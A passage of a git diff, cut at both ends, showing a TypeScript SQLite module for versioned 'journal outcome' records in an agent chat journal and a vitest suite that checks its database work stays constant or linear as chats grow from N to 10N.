frozen decoders and are never rewritten. */ +export const JOURNAL_OUTCOME_FORMAT = JOURNAL_OUTCOME_FORMAT_1 +/** Builds before outcome records refuse a row of this version wherever it sits in the epoch. + * Under this version, how the input rows before the marker fold into keys and values is frozen: the + * tail's records were written over that reading. A build that reads old rows into different keys or + * values must key the new reading off a new marker version; a prefix key read twice under two + * names, or a key the tail deleted coming back, is never intended behavior. */ +export const JOURNAL_OUTCOME_MARKER_VERSION = 5 +/** `prefix` counts the epoch's frozen input rows; the marker row sits right after them and outcome + * records start at its sequence. `format` is the highest record format the epoch holds. */ +export type JournalOutcomeSource = { + generation: number + through: number + format: number + prefix: number +} + +export function ensureJournalOutcomeTables(db: Database.Database): void { + db.exec(`CREATE TABLE IF NOT EXISTS journal_outcome_generations ( + generation INTEGER PRIMARY KEY AUTOINCREMENT, session_id TEXT NOT NULL, epoch TEXT NOT NULL + ); + CREATE TABLE IF NOT EXISTS journal_outcome_epochs ( + session_id TEXT PRIMARY KEY, epoch TEXT NOT NULL, generation INTEGER NOT NULL, + format INTEGER NOT NULL, through_seq INTEGER NOT NULL, prefix_seq INTEGER NOT NULL + ); + CREATE TABLE IF NOT EXISTS journal_outcomes ( + generation INTEGER NOT NULL, seq INTEGER NOT NULL, field TEXT NOT NULL, + entry_key TEXT NOT NULL, format INTEGER NOT NULL, ordinal TEXT NOT NULL, + value_json TEXT NOT NULL, deleted INTEGER NOT NULL, + PRIMARY KEY (generation, seq, field, entry_key) + ); + CREATE INDEX IF NOT EXISTS journal_outcome_keys ON journal_outcomes + (generation, field, entry_key, seq DESC)`) +} + +/** Every owning mutation calls this inside its transaction, before changing the epoch. Null means + * an input-only epoch, read as main reads it; a format this build does not know refuses as newer. */ +export function journalOutcomeSource( + db: Database.Database, + sessionId: string, + epoch: string +): JournalOutcomeSource | null { + if (readJournalSessionEpoch(db, sessionId) !== epoch) { + throw new AgentSessionJournalError('journal_row_rejected', 'the chat epoch changed') + } + const source = db + .prepare( + `SELECT generation, format, through_seq, prefix_seq FROM journal_outcome_epochs + WHERE session_id = ? AND epoch = ?` + ) + .get(sessionId, epoch) + if (!source) { + return null + } + const { generation, format, through_seq: through, prefix_seq: prefix } = source + if ( + typeof generation !== 'number' || + typeof format !== 'number' || + typeof through !== 'number' || + typeof prefix !== 'number' + ) { + throw new JournalOutcomeDecodeError('invalid journal outcome source') + } + if (format > JOURNAL_OUTCOME_FORMAT) { + throw new AgentSessionJournalError('journal_read_only', 'the chat uses a newer outcome format') + } + // Only the marker follows the prefix: a row after it is no row this build writes. + const [marker, after] = db + .prepare(`SELECT seq, row_json FROM journal_rows WHERE session_id = ? AND epoch = ? AND seq > ? + ORDER BY seq LIMIT 2`) + .all(sessionId, epoch, prefix) + if (after) { + throw new AgentSessionJournalError('journal_read_only', 'the chat holds a newer row') + } + const version = marker?.seq === prefix + 1 ? markerVersion(marker.row_json) : null + if (typeof version === 'number' && version > JOURNAL_OUTCOME_MARKER_VERSION) { + throw new AgentSessionJournalError('journal_read_only', 'the chat uses a newer marker') + } + if (version !== JOURNAL_OUTCOME_MARKER_VERSION) { + throw new JournalOutcomeDecodeError('missing journal outcome marker') + } + return { generation, format, through, prefix } +} + +function markerVersion(json: unknown): unknown { + try { + const parsed: unknown = typeof json === 'string' ? JSON.parse(json) : null + return typeof parsed === 'object' && parsed !== null && 'v' in parsed ? parsed.v : null + } catch { + return null + } +} + +/** Starts an epoch's outcome records after `prefix` input rows, which stay byte for byte. The marker + * is appended, never written over an existing row, in the transaction of the first outcome. */ +export function startJournalOutcomeLog( + db: Database.Database, + sessionId: string, + epoch: string, + prefix: number, + savedAt: number +): JournalOutcomeSource { + const tip = db + .prepare('SELECT MAX(seq) AS seq FROM journal_rows WHERE session_id = ? AND epoch = ?') + .get(sessionId, epoch) + if ((tip?.seq ?? 0) !== prefix) { + throw new Error('journal outcome log would not start at the input tip') + } + const generation = Number( + db + .prepare('INSERT INTO journal_outcome_generations (session_id, epoch) VALUES (?, ?)') + .run(sessionId, epoch).lastInsertRowid + ) + const seq = prefix + 1 + db.prepare( + 'INSERT INTO journal_rows (session_id, epoch, seq, ts, row_json) VALUES (?, ?, ?, ?, ?)' + ).run( + sessionId, + epoch, + seq, + savedAt, + JSON.stringify({ v: JOURNAL_OUTCOME_MARKER_VERSION, kind: 'outcomes', epoch, seq, ts: savedAt }) + ) + db.prepare( + `INSERT INTO journal_outcome_epochs VALUES (?, ?, ?, ?, ?, ?) + ON CONFLICT(session_id) DO UPDATE SET epoch = excluded.epoch, generation = excluded.generation, + format = excluded.format, through_seq = excluded.through_seq, prefix_seq = excluded.prefix_seq` + ).run(sessionId, epoch, generation, JOURNAL_OUTCOME_FORMAT, prefix, prefix) + return { generation, format: JOURNAL_OUTCOME_FORMAT, through: prefix, prefix } +} + +/** Coverage advances with each write; the required format only ever rises. */ +export function advanceJournalOutcomeSource( + db: Database.Database, + sessionId: string, + epoch: string, + through: number +): void { + db.prepare(`UPDATE journal_outcome_epochs SET through_seq = ?, format = MAX(format, ?) + WHERE session_id = ? AND epoch = ?`).run(through, JOURNAL_OUTCOME_FORMAT, sessionId, epoch) +} diff --git a/src/main/native-chat/agent-session-journal/journal-outcome-scaling.test.ts b/src/main/native-chat/agent-session-journal/journal-outcome-scaling.test.ts new file mode 100644 index 00000000000..be60e4ad4c4 --- /dev/null +++ b/src/main/native-chat/agent-session-journal/journal-outcome-scaling.test.ts @@ -0,0 +1,800 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, it, vi } from 'vitest' +import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import { agentSessionSendBodyFingerprint } from '../../../shared/structured-agent-session-send-mutation' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentJournalMessageItem +} from '../../../shared/agent-session-journal-types' +import type { SqliteStatement } from '../../sqlite/sqlite-statement' +import { + closeTestJournalHostDatabases, + createTrackedJournalOpener, + openTestJournalHostDatabase +} from './journal-host-database-test-support' +import type { JournalHostDatabase } from './journal-host-database' +import { readJournalRowsAfterCursor, restoreJournal } from './journal-open' +import { MAX_JOURNAL_LIFECYCLE_BATCH_MUTATIONS, type JournalRow } from './journal-row-schema' +import { journalOutcomeSource } from './journal-outcome-format' +import { JournalOutcomeSweeper, sweepJournalOutcomePage } from './journal-outcome-cleanup' +import { JOURNAL_NEWEST_OUTCOME_SQL } from './journal-outcome-table' +import { readJournalOutcomeGroups } from './journal-read-row' +import { applyJournalRow, type JournalReducerState } from './journal-reducer' +import { isolateJournalTransition } from './journal-reducer-transition' +import { encodeJournalState } from './journal-state-codec' +import type * as RowStorage from './journal-storage-row-schema' +import type * as Strict from './journal-storage-strict' +import type * as OutcomeFormat1 from './journal-outcome-format-1' +import type * as Transition from './journal-reducer-transition' +import { + projectionBase as base, + projectionEpoch as epoch, + projectionEpochRow, + projectionSessionId as sessionId, + projectionWriter, + seedOutcomeRows, + seedProjectionRows +} from './journal-projection-test-support' + +// N/10N contracts: each counts statements (prepare and exec), rows read and rows and bytes +// written, never time, and requires the same work for a chat ten times larger. + +// Admission's own work: strict walks of input rows and of outcome records, counted at the calls, +// and every strict walk at all, counted at each strict schema storage builds. +const admission = vi.hoisted(() => ({ rows: 0, records: 0, walks: 0 })) +vi.mock('./journal-storage-strict', async (original) => { + const actual = await original() + // A schema storage cannot close further comes back as it is, so one instance can recur. + const counted = new WeakSet>() + return { + ...actual, + strictStorage: (schema: Parameters[0]) => { + const strict = actual.strictStorage(schema) + if (counted.has(strict)) { + return strict + } + counted.add(strict) + const walk = strict.safeParse.bind(strict) + Object.defineProperty(strict, 'safeParse', { + value: (...input: Parameters) => { + admission.walks += 1 + return walk(...input) + } + }) + return strict + } + } +}) +vi.mock('./journal-storage-row-schema', async (original) => { + const actual = await original() + return { + ...actual, + journalRowDeclaresMore: (row: unknown) => { + admission.rows += 1 + return actual.journalRowDeclaresMore(row) + } + } +}) +vi.mock('./journal-outcome-format-1', async (original) => { + const actual = await original() + return { + ...actual, + admitOutcomeFormat1: (value: Parameters[0]) => { + admission.records += 1 + return actual.admitOutcomeFormat1(value) + } + } +}) +// Every draft transition a write or a replacement folds through, to count the nodes it reaches. +const transitions = vi.hoisted(() => { + const opened: { tracked: () => number }[] = [] + return opened +}) +vi.mock('./journal-reducer-transition', async (original) => { + const actual = await original() + return { + ...actual, + isolateJournalTransition: (...input: Parameters) => { + const transition = actual.isolateJournalTransition(...input) + transitions.push(transition) + return transition + } + } +}) +const N = 40 +const providerHandle = { kind: 'codex', threadId: 'thread-1' } as const +const providerItemId = agentJournalItemKey({ + provider: 'codex', + threadId: 'thread-1', + turnId: 'turn-1', + ordinal: 1 +}) +const WRITTEN = { + journal_rows: 'row_json', + journal_outcomes: 'value_json' +} as const +const TRANSACTION = /^(BEGIN|COMMIT|ROLLBACK|SAVEPOINT|RELEASE)\b/ + +let root: string +const rigs: ReturnType[] = [] +const journals = createTrackedJournalOpener() +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-journal-outcome-scaling-')) +}) +afterEach(async () => { + for (const rig of rigs.splice(0)) { + rig.queue.markClosed() + await rig.queue.drain() + } + vi.restoreAllMocks() + await journals.closeAll() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +const message = (text: string, role: 'user' | 'assistant' = 'user'): AgentJournalMessageItem => ({ + kind: 'message', + role, + blocks: [{ type: 'text', text }] +}) +const send = (seq: number, clientMessageId: string, handoverRecorded?: true): JournalRow => ({ + ...base(seq), + kind: 'submission', + clientMessageId, + body: message(clientMessageId), + providerHandle, + ...(handoverRecorded ? { handoverRecorded } : {}), + payloadFingerprint: agentSessionSendBodyFingerprint(sessionId, message(clientMessageId)) +}) +const revision = + (itemId: string, body: Extract['body'], value: number) => + (seq: number, ts: number): JournalRow => ({ + ...base(seq), + ts, + kind: 'item', + itemId, + revision: value, + body + }) +const plan = (text: string) => ({ + kind: 'status' as const, + text, + providerFrame: { + provider: 'codex', + kind: 'notification:turn/plan/updated', + payload: { head: text, byteLength: text.length, digest: 'd'.repeat(64), truncated: false } + } +}) + +/** `size` accepted sends with their statuses and queue cards, then one handed-over send. */ +function historyOf(size: number, everyCard = false): JournalRow[] { + const rows: JournalRow[] = [projectionEpochRow] + for (let index = 0; index < size; index++) { + rows.push(send(rows.length + 1, `earlier-${index}`)) + rows.push({ + ...base(rows.length + 1), + kind: 'dispatch', + clientMessageId: `earlier-${index}`, + state: 'accepted', + providerItemId: `provider-${index}`, + reason: null + }) + rows.push({ + ...base(rows.length + 1), + kind: 'item', + itemId: `status-${index}`, + revision: 1, + body: { kind: 'status', text: `Status ${index}` } + }) + rows.push({ + ...base(rows.length + 1), + kind: 'queue', + messageId: `waiting-${index}`, + change: { + op: 'queued', + body: message(`waiting-${index}`), + position: rows.length + 1, + queuedAt: { epoch, sequence: rows.length } + } + }) + const outcomes = everyCard + ? ([ + ['dispatched', { attempt: `attempt-${index}` }], + ['returned', { returned: { reason: 'refused' } }] + ] as const) + : [] + for (const [state, outcome] of outcomes) { + rows.push({ + ...base(rows.length + 1), + kind: 'queue', + messageId: `${state}-${index}`, + change: { + op: 'queued', + body: message(`${state}-${index}`), + position: rows.length + 1, + queuedAt: { epoch, sequence: rows.length }, + ...outcome + } + }) + } + } + rows.push(send(rows.length + 1, 'send', true)) + return rows +} + +function databaseFor(label: string): JournalHostDatabase { + return openTestJournalHostDatabase(join(root, label)) +} + +function outcomeChat(size: number, label: string) { + const database = databaseFor(label) + const rig = projectionWriter(database, seedOutcomeRows(database, historyOf(size))) + rigs.push(rig) + return { database, rig } +} + +/** Counts every statement, the rows each table returns, and the rows and bytes each table takes. */ +function watch(database: JournalHostDatabase) { + const triggers = Object.entries(WRITTEN).flatMap(([table, column]) => + ['INSERT', 'UPDATE', 'DELETE'].map((op) => { + const bytes = op === 'DELETE' ? '0' : `length(CAST(NEW.${column} AS BLOB))` + return `CREATE TEMP TRIGGER IF NOT EXISTS count_${table}_${op} AFTER ${op} ON ${table} + BEGIN INSERT INTO scaling_writes VALUES ('${table} ${op}', ${bytes}); END;` + }) + ) + database.db.exec( + `CREATE TEMP TABLE IF NOT EXISTS scaling_writes (target TEXT, bytes INTEGER); ${triggers.join('\n')}` + ) + database.db.exec('DELETE FROM scaling_writes') + const statements: string[] = [] + const read = new Map() + const prepare = database.db.prepare.bind(database.db) + const exec = database.db.exec.bind(database.db) + vi.spyOn(database.db, 'exec').mockImplementation((sql: string) => { + if (!TRANSACTION.test(sql.trim())) { + statements.push(sql) + } + exec(sql) + }) + vi.spyOn(database.db, 'prepare').mockImplementation((sql: string) => { + statements.push(sql) + const statement = prepare(sql) + const table = /\bFROM\s+(journal_\w+)/.exec(sql)?.[1] ?? 'other' + const count = (rows: number): void => { + read.set(table, (read.get(table) ?? 0) + rows) + } + const counted: SqliteStatement = { + all: (...parameters) => { + const rows = statement.all(...parameters) + count(rows.length) + return rows + }, + get: (...parameters) => { + const row = statement.get(...parameters) + count(row ? 1 : 0) + return row + }, + run: (...parameters) => statement.run(...parameters), + iterate: function* (...parameters) { + for (const row of statement.iterate(...parameters)) { + count(1) + yield row + } + }, + setReadBigInts: (enabled) => statement.setReadBigInts(enabled) + } + return counted + }) + return { + rowsRead: (table: string) => read.get(table) ?? 0, + take: () => { + const writes = prepare( + 'SELECT target, COUNT(*) AS n, SUM(bytes) AS bytes FROM scaling_writes GROUP BY target ORDER BY target' + ) + .all() + .map((row) => [String(row.target), Number(row.n), Number(row.bytes)] as const) + exec('DELETE FROM scaling_writes') + const work = { + statements: [...statements], + read: Object.fromEntries([...read].sort()), + writes: writes.map(([target, n]) => [target, n]), + bytes: writes.reduce((sum, [, , bytes]) => sum + bytes, 0) + } + statements.length = 0 + read.clear() + return work + }, + stop: () => vi.restoreAllMocks() + } +} + +function expectSameWork( + small: ReturnType['take']>, + large: ReturnType['take']> +): void { + expect(large.statements).toStrictEqual(small.statements) + expect(large.read).toStrictEqual(small.read) + expect(large.writes).toStrictEqual(small.writes) + // Only the digits of the larger chat's sequence numbers differ. + expect(Math.abs(large.bytes - small.bytes)).toBeLessThanOrEqual(64) +} + +it('appends a streamed revision, a Codex plan update and an acceptance with the same work at N and 10N', async () => { + const measure = async (size: number) => { + const { database, rig } = outcomeChat(size, `append-${size}`) + await rig.writer.enqueue(revision('answer', message('x'.repeat(4_096), 'assistant'), 1)) + await rig.writer.enqueue(revision('plan', plan('Plan 1'), 1)) + const watched = watch(database) + await rig.writer.enqueue(revision('answer', message('y'.repeat(4_096), 'assistant'), 2)) + const streamed = watched.take() + await rig.writer.enqueue(revision('plan', plan('Plan 2'), 2)) + const planned = watched.take() + await rig.writer.enqueue(revision(providerItemId, message('send'), 1)) + const accepted = watched.take() + watched.stop() + expect(rig.state().submissions.get('send')?.dispatchState).toBe('accepted') + return { streamed, planned, accepted } + } + const small = await measure(N) + const large = await measure(10 * N) + for (const key of ['streamed', 'planned', 'accepted'] as const) { + expectSameWork(small[key], large[key]) + } + // The item's record alone: the sequence is the epoch's coverage, never a record. + expect(small.streamed.writes).toStrictEqual([['journal_outcomes INSERT', 1]]) +}) + +/** One settlement row creating `size` status items. */ +const batchOf = + (size: number) => + (seq: number, ts: number): JournalRow => ({ + ...base(seq), + ts, + kind: 'lifecycle-batch', + settlementId: `batch-${size}`, + mutations: Array.from({ length: size }, (_, index) => ({ + kind: 'item' as const, + itemId: `batch-${index}`, + revision: 1, + body: { kind: 'status' as const, text: `Batch ${index}` } + })) + }) + +it('encodes a settlement batch with the same work per mutation up to the mutation cap', async () => { + const measure = async (size: number) => { + const { database, rig } = outcomeChat(N, `batch-${size}`) + const watched = watch(database) + const stringify = vi.spyOn(JSON, 'stringify') + await rig.writer.enqueue(batchOf(size)) + const calls = stringify.mock.calls.length + const work = watched.take() + watched.stop() + expect(rig.state().items.has(`batch-${size - 1}`)).toBe(true) + return { calls, statements: work.statements.length } + } + // Schemas compile on their first parse; that one-time work is not the batch's. + await measure(10) + const few = await measure(20) + const more = await measure(110) + const most = await measure(MAX_JOURNAL_LIFECYCLE_BATCH_MUTATIONS) + // Linear in the batch: each further 90 mutations add the same work. + expect(most.calls - more.calls).toBe(more.calls - few.calls) + expect(most.statements).toBe(few.statements) +}) + +/** A tool call whose structured input holds `size` nested objects, as a large multi-edit does. */ +const toolCall = (size: number) => ({ + kind: 'tool-call' as const, + name: 'edit', + input: { + edits: Array.from({ length: size }, (_, index) => ({ path: `file-${index}`, at: { index } })) + }, + state: 'running' as const +}) + +it("encodes a structured tool call's revisions without reading its input through the draft, at N and 10N nested objects", async () => { + const measure = async (size: number) => { + const { rig } = outcomeChat(N, `tool-${size}`) + // The draft's copy-on-write proxies read through Reflect.get; plain reads never call it. + const reads = vi.spyOn(Reflect, 'get') + await rig.writer.enqueue(revision('tool', toolCall(size), 1)) + const first = reads.mock.calls.length + reads.mockClear() + await rig.writer.enqueue(revision('tool', toolCall(size), 2)) + const next = reads.mock.calls.length + reads.mockRestore() + expect(rig.state().items.get('tool')?.body).toEqual(toolCall(size)) + return { first, next } + } + expect(await measure(10 * N)).toStrictEqual(await measure(N)) +}) + +/** A chat this build wrote, holding `size` live items and `size` waiting queue cards. */ +async function liveChat(size: number, label: string) { + const stateDirectory = join(root, label) + const journal = await journals.open({ + identity: { + sessionId, + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') + }, + stateDirectory, + // A fixed clock: a timestamp that moves mid-chat would change which rows touch the activity time. + now: () => 10_000 + }) + const kept = Array.from({ length: size }, (_, ordinal) => ({ + identity: { provider: 'codex' as const, threadId: 'thread-1', turnId: 'turn-1', ordinal }, + body: { kind: 'status' as const, text: `Status ${ordinal}` }, + ownerFence: 1 + })) + for (const { identity, body } of kept) { + await journal.appendItem(identity, body, { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + await journal.queuedMessages.insert({ + messageId: `card-${identity.ordinal}`, + body: message(`card ${identity.ordinal}`) + }) + } + return { journal, kept, database: openTestJournalHostDatabase(stateDirectory) } +} + +// Rewind, replacement and rollover restate the live chat in one transaction, as main does: the +// epoch's rows are built by one fold and its records by a second through the draft. Both stay +// linear: the statements are fixed, and rows read, rows written and draft nodes grow by the same +// amount for each restated item and card. +it.each(['rewind', 'replacement', 'rollover'] as const)( + 'publishes a %s of a chat with the same work per restated item at N, 2N and 11N', + async (path) => { + const measure = async (size: number) => { + const { journal, kept, database } = await liveChat(size, `${path}-${size}`) + const watched = watch(database) + transitions.length = 0 + await (path === 'rollover' + ? journal.rollEpoch('unreconcilable_prefix', 1) + : journal.replaceEpochItems(path === 'rewind' ? 'handle_forked' : 'legacy_import', 1, kept)) + const work = watched.take() + watched.stop() + expect(journal.snapshot().items).toHaveLength(path === 'rollover' ? 0 : size) + expect(journal.queuedMessages.list()).toHaveLength(size) + const counts = new Map([ + ...Object.entries(work.read).map(([table, rows]): [string, number] => [ + `read ${table}`, + rows + ]), + ...work.writes.map(([target, rows]): [string, number] => [`${target}`, Number(rows)]), + ['draft nodes', transitions.reduce((sum, transition) => sum + transition.tracked(), 0)] + ]) + return { statements: work.statements, counts } + } + // A chat's first item and card start collections an empty chat lacks, so the line is taken + // between non-empty chats: 10N more restated items cost ten times what N more do. + const base = await measure(N) + const small = await measure(2 * N) + const large = await measure(11 * N) + expect(large.statements).toStrictEqual(small.statements) + expect([...large.counts.keys()]).toStrictEqual([...small.counts.keys()]) + for (const [counted, value] of large.counts) { + const from = base.counts.get(counted) ?? 0 + expect({ counted, grown: value - from }).toStrictEqual({ + counted, + grown: 10 * ((small.counts.get(counted) ?? 0) - from) + }) + } + expect(large.counts.get('draft nodes')).toBeGreaterThan(small.counts.get('draft nodes') ?? 0) + } +) + +/** Distinct keys the chat's records hold, live, deleted and scalar alike. */ +function outcomeKeys(database: JournalHostDatabase): number { + return Number( + database.db + .prepare('SELECT COUNT(*) AS n FROM (SELECT DISTINCT field, entry_key FROM journal_outcomes)') + .get()?.n + ) +} + +it("opens a new chat reading each key's newest record once, the same with N and 10N superseded revisions", async () => { + const measure = async (revisions: number) => { + const { database, rig } = outcomeChat(N, `open-${revisions}`) + for (let index = 1; index <= revisions; index++) { + await rig.writer.enqueue(revision('answer', message(`answer ${index}`, 'assistant'), index)) + } + const records = database.db.prepare('SELECT COUNT(*) AS n FROM journal_outcomes').get()?.n + const watched = watch(database) + const loaded = restoreJournal(database.db, sessionId) + const work = watched.take() + watched.stop() + expect(loaded && encodeJournalState(loaded.state)).toEqual(encodeJournalState(rig.state())) + return { database, work, records: Number(records), keys: outcomeKeys(database) } + } + const small = await measure(N) + const large = await measure(10 * N) + // Anti-vacuous: the larger chat holds 9N more superseded revisions of one key. + expect(large.records - small.records).toBe(9 * N) + expect(large.keys).toBe(small.keys) + expectSameWork(small.work, large.work) + // One record per key; of the chat's rows only the marker, which its outcome summary must agree with. + expect(small.work.read).toStrictEqual({ + journal_outcome_epochs: 1, + journal_outcomes: small.keys, + journal_rows: 1, + journal_sessions: 2 + }) + // Each read is one seek down the key index from the last key: no scan, no sort, no revision walk. + const plan = small.database.db + .prepare(`EXPLAIN QUERY PLAN ${JOURNAL_NEWEST_OUTCOME_SQL}`) + .all(1, '', '', 1) + .map((row) => String(row.detail)) + expect(plan).toEqual([ + 'SEARCH journal_outcomes USING INDEX journal_outcome_keys (generation=? AND (field,entry_key)>(?,?))' + ]) +}) + +/** An existing chat of `size` sends in its input rows, then three writes as outcome records. */ +async function prefixChat(size: number, label: string) { + const database = databaseFor(label) + const rig = projectionWriter(database, seedProjectionRows(database, historyOf(size))) + rigs.push(rig) + const watched = watch(database) + await rig.writer.enqueue(revision('answer', message('x'.repeat(4_096), 'assistant'), 1)) + const first = watched.take() + await rig.writer.enqueue(revision('answer', message('y'.repeat(4_096), 'assistant'), 2)) + const streamed = watched.take() + await rig.writer.enqueue(revision(providerItemId, message('send'), 1)) + const accepted = watched.take() + watched.stop() + return { database, rig, first, streamed, accepted } +} + +it('writes to an existing chat without reading its prefix, the same at N and 10N', async () => { + const small = await prefixChat(N, 'prefix-append-small') + const large = await prefixChat(10 * N, 'prefix-append-large') + for (const key of ['first', 'streamed', 'accepted'] as const) { + expectSameWork(small[key], large[key]) + } + // The first write appends the marker, then the item's record and the two scalars it changed. + expect(small.first.writes).toStrictEqual([ + ['journal_outcomes INSERT', 3], + ['journal_rows INSERT', 1] + ]) + expect(small.streamed.writes).toStrictEqual([['journal_outcomes INSERT', 1]]) + expect(large.rig.state().submissions.get('send')?.dispatchState).toBe('accepted') +}) + +it("opens an existing chat reading main's prefix rows and each tail key's newest record, at N and 10N", async () => { + const measure = async (size: number) => { + const { database, rig } = await prefixChat(size, `prefix-open-${size}`) + // The tail's one streamed item takes `size` more revisions: superseded, never read. + for (let index = 3; index < size + 3; index++) { + await rig.writer.enqueue(revision('answer', message(`answer ${index}`, 'assistant'), index)) + } + const watched = watch(database) + const loaded = restoreJournal(database.db, sessionId) + const work = watched.take() + watched.stop() + expect(loaded && encodeJournalState(loaded.state)).toEqual(encodeJournalState(rig.state())) + return { work, prefix: historyOf(size).length, keys: outcomeKeys(database) } + } + const small = await measure(N) + const large = await measure(10 * N) + for (const { work, prefix, keys } of [small, large]) { + // The prefix rows main folds, plus the marker: checked against the outcome summary, and met + // again on the prefix's last page. + expect(work.read.journal_rows).toBe(prefix + 2) + expect(work.read.journal_outcomes).toBe(keys) + } + expect(large.keys).toBe(small.keys) +}) + +/** The text of each keyed record an open decodes: every key's newest live record. */ +function newestEntries(database: JournalHostDatabase) { + const rows = database.db + .prepare( + `SELECT value_json FROM journal_outcomes o WHERE field <> '$' AND deleted = 0 AND seq = + (SELECT MAX(seq) FROM journal_outcomes WHERE generation = o.generation AND field = o.field + AND entry_key = o.entry_key)` + ) + .all() + return { texts: new Set(rows.map((row) => String(row.value_json))), records: rows.length } +} + +// Admission is linear in what is read, with a constant of one: one strict walk per input row read +// (main parses each row once; this adds the walk), one per outcome record read or written. Decoding +// takes each record as admission parsed it: no record is parsed or walked twice. +it('admits each row and record an existing chat reads or writes once, at N and 10N', async () => { + const measure = async (size: number) => { + const { database, rig } = await prefixChat(size, `admission-${size}`) + const entries = newestEntries(database) + const watched = watch(database) + admission.rows = 0 + admission.records = 0 + admission.walks = 0 + const parses = vi.spyOn(JSON, 'parse') + restoreJournal(database.db, sessionId) + const parsed = parses.mock.calls.filter(([text]) => entries.texts.has(text)).length + parses.mockRestore() + const open = { ...admission, parsed, entries: entries.records, read: watched.take().read } + admission.rows = 0 + const page = readJournalRowsAfterCursor(database.db, sessionId, epoch, 0, 100) + const paged = { walks: admission.rows, rows: page.filter((row) => row.kind !== 'outcome') } + admission.rows = 0 + admission.records = 0 + admission.walks = 0 + await rig.writer.enqueue(revision('answer', message('z'.repeat(4_096), 'assistant'), 3)) + const written = { ...admission, writes: watched.take().writes } + watched.stop() + return { open, paged, written, prefix: historyOf(size).length, keys: outcomeKeys(database) } + } + for (const { open, paged, written, prefix, keys } of [await measure(N), await measure(10 * N)]) { + // The marker is read twice (source check, last prefix page) and walked never. + expect(open.read.journal_rows).toBe(prefix + 2) + expect(open.rows).toBe(prefix) + expect(open.records).toBe(keys) + expect(open.walks).toBe(open.rows + open.records) + expect(open.entries).toBeGreaterThan(0) + expect(open.parsed).toBe(open.entries) + expect(paged.rows).toHaveLength(100) + expect(paged.walks).toBe(100) + // The written row's read-back, and each record the write inserts. + expect(written.rows).toBe(1) + expect(written.writes).toStrictEqual([['journal_outcomes INSERT', written.records]]) + expect(written.walks).toBe(written.rows + written.records) + } +}) + +it('runs a sweep pass with nothing to retire without reading history at N and 10N', async () => { + const measure = async (size: number) => { + const { database } = outcomeChat(size, `idle-${size}`) + const sweeper = new JournalOutcomeSweeper({ database: () => database, delay: async () => {} }) + const watched = watch(database) + await sweeper.pass() + sweeper.stop() + const work = watched.take() + watched.stop() + return work + } + const small = await measure(N) + for (const table of ['journal_rows', 'journal_outcomes']) { + expect(small.read[table] ?? 0).toBe(0) + } + expectSameWork(small, await measure(10 * N)) +}) + +it('sweeps a retired generation one bounded page per transaction at N and 10N', () => { + const measure = (size: number) => { + const { database } = outcomeChat(size, `sweep-${size}`) + // A replacement generation retires the published one. + database.db.exec(`INSERT INTO journal_outcome_generations (session_id, epoch) + VALUES ('${sessionId}', '${epoch}')`) + database.db.exec(`UPDATE journal_outcome_epochs SET generation = + (SELECT MAX(generation) FROM journal_outcome_generations)`) + const watched = watch(database) + expect(sweepJournalOutcomePage(database)).toBe(true) + const work = watched.take() + watched.stop() + return work + } + const small = measure(N) + expect(small.writes).toStrictEqual([['journal_outcomes DELETE', 32]]) + expectSameWork(small, measure(10 * N)) +}) + +it('sweeps a retired generation numbered after N and 10N live chats without rescanning them per page', () => { + const measure = (chats: number) => { + const database = databaseFor(`sweep-chats-${chats}`) + database.transaction((db) => { + const generation = db.prepare( + 'INSERT INTO journal_outcome_generations (session_id, epoch) VALUES (?, ?)' + ) + const live = db.prepare('INSERT INTO journal_outcome_epochs VALUES (?, ?, ?, 1, 1, 0)') + for (let index = 0; index < chats; index++) { + const id = Number(generation.run(`chat-${index}`, epoch).lastInsertRowid) + live.run(`chat-${index}`, epoch, id) + } + const retired = Number(generation.run('gone', 'gone-epoch').lastInsertRowid) + const insert = db.prepare(`INSERT INTO journal_outcomes + (generation, seq, field, entry_key, format, ordinal, value_json, deleted) + VALUES (?, 1, 'aliases', ?, 1, 's0000000000000001:0000000000000000', ?, 0)`) + for (let index = 0; index < 100; index++) { + insert.run(retired, JSON.stringify(`k${index}`), JSON.stringify([`k${index}`, 'v'])) + } + }) + // Each page's candidate scan walks the generations above its position in order, so the live + // ones it passes are those numbered above that position. + const positions: number[] = [] + const prepare = database.db.prepare.bind(database.db) + vi.spyOn(database.db, 'prepare').mockImplementation((sql: string) => { + const statement = prepare(sql) + if (!sql.includes('LEFT JOIN journal_outcome_epochs')) { + return statement + } + const recorded: SqliteStatement = { + all: (...parameters) => { + positions.push(Number(parameters[0])) + return statement.all(...parameters) + }, + get: (...parameters) => statement.get(...parameters), + run: (...parameters) => statement.run(...parameters), + iterate: (...parameters) => statement.iterate(...parameters), + setReadBigInts: (enabled) => statement.setReadBigInts(enabled) + } + return recorded + }) + while (sweepJournalOutcomePage(database)) { + // One bounded page per call. + } + vi.mocked(database.db.prepare).mockRestore() + const passed = database.db.prepare( + 'SELECT COUNT(*) AS n FROM journal_outcome_epochs WHERE generation > ?' + ) + return positions.map((position) => Number(passed.get(position)?.n)) + } + const small = measure(N) + const large = measure(10 * N) + // Four record pages and the page that drops the generation row; only a pass's first page walks + // the live chats, as an idle pass does. + expect(small).toEqual([N, 0, 0, 0, 0]) + expect(large).toEqual([10 * N, 0, 0, 0, 0]) +}) + +it('catches a wire client up from outcomes reading only the groups it asks for at N and 10N', async () => { + const measure = async (size: number) => { + const { database, rig } = outcomeChat(size, `wire-${size}`) + const after = rig.state().lastSequence + for (let index = 0; index < 3; index++) { + await rig.writer.enqueue( + revision('answer', message(`Answer ${index}`, 'assistant'), index + 1) + ) + } + const source = journalOutcomeSource(database.db, sessionId, epoch) + if (!source) { + throw new Error('missing outcomes') + } + const watched = watch(database) + expect(readJournalOutcomeGroups(database.db, epoch, source, after, 200)).toHaveLength(3) + const work = watched.take() + watched.stop() + return work + } + expectSameWork(await measure(N), await measure(10 * N)) +}) + +/** Reducer nodes the draft reaches to fold `row` onto `state`, without adopting it. */ +const trackedNodes = (state: JournalReducerState, row: JournalRow) => + isolateJournalTransition(state, (draft) => 